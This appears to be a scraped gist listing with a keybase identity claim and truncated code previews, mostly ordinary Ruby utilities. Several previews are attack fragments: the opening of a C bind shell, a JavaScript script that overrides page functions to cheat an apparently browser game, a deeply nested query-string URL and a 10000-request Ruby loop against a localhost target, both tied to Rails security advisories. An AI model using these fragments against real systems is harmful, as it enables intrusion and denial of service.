I hereby claim:
- I am mrThe on github.
- I am mrthe (https://keybase.io/mrthe) on keybase.
- I have a public key whose fingerprint is 6D91 6D49 77DF B535 C969 B4F5 9648 F36A BF0A D2A5
To claim this, I am signing this object:
class Hash | |
def path_exists?(*path) | |
path.flatten.each do |key| | |
if key.instance_of? Hash | |
return false unless self[key.keys.first] | |
return false unless self[key.keys.first].path_exists?(key.values) | |
elsif key.instance_of? Array | |
return self.path_exists?(key) | |
else |
# Ruby Thread Pool | |
# ================ | |
# A thread pool is useful when you wish to do some work in a thread, but do | |
# not know how much work you will be doing in advance. Spawning one thread | |
# for each task is potentially expensive, as threads are not free. | |
# | |
# In this case, it might be more beneficial to start a predefined set of | |
# threads and then hand off work to them as it becomes available. This is | |
# the pure essence of what a thread pool is: an array of threads, all just | |
# waiting to do some work for you! |
// See bindshell.asm | |
#include<stdio.h> | |
#include<dlfcn.h> | |
#include<stdio.h> | |
#include<unistd.h> | |
#include<sys/socket.h> | |
#include<netinet/in.h> | |
main() { | |
int soc,cli,soc_len; |
# from: http://stackoverflow.com/questions/2972765/linux-script-that-monitors-file-changes-within-folders-like-autospec-does | |
#!/bin/bash | |
sha=0 | |
previous_sha=0 | |
update_sha() | |
{ | |
sha=`ls -lR . | sha1sum` |
function Miner(incr, dripK, delay) { | |
var that = this; | |
this.incr = incr || localStats.bps*1e3; | |
this.dripK = dripK || 0.5; | |
this.delay = delay || 100; | |
document.hasFocus = function () {return true;}; | |
NO_PINGY=1; // 'pingy' off | |
// Redefine postEvent | |
RestEventManager.prototype.postEventData = function(e,t,next) |
I hereby claim:
To claim this, I am signing this object:
https://groups.google.com/forum/#!topic/rubyonrails-security/gcUbICUmKMc | |
http://HOSTNAME/?foo[a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a] |
# https://groups.google.com/forum/#!topic/ruby-security-ann/9oLY_FCzvoc | |
require 'uri' | |
require 'net/http' | |
require 'securerandom' | |
uri = URI("http://localhost:3000/") # Target | |
10000.times do |i| | |
http = Net::HTTP.new(uri.host, uri.port) |
require 'socket' | |
def create_request(data) | |
host = '127.0.0.1' | |
port = 80 | |
request = '' | |
request << "POST /something.json HTTP/1.1\r\n" | |
request << "Host: localhost\r\n" | |
# add here your headers |
def block(str) | |
chars = str.upcase.chars | |
size = chars.size | |
result = Array.new(size) { Array.new(size) { ' ' } } | |
chars.each_with_index do |char, i| | |
result[0][i] = char | |
result[i][i] = char | |
result[i][0] = char |